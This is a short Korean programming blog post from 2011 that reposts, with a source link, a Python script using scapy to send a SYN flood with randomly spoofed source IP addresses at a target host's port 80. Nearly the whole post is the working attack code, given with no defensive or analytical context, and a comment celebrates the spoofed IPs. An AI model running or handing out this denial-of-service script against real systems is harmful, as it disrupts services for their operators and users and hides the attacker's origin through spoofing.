프로그래밍/파이썬

syn flood.py -2

레곤플라이 2011. 12. 6. 20:30

http://www.clshack.it/en/python-scapy-dos-attack-syn-flood-ip-spoofing.html


from scapy.all import *
import random

conf.iface='VMnet8';
target="192.168.30.141";
port=80;
for x in range(0, 200):
    packetIP = IP();
    packetIP.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254));#sppofed ip :D
    packetIP.dst = target;
    packetTCP = TCP();
    packetTCP.sport = RandShort();
    packetTCP.dport = port;
    packetTCP.flags = 'S';
    packet=packetIP/packetTCP;
    send(packet, verbose=0);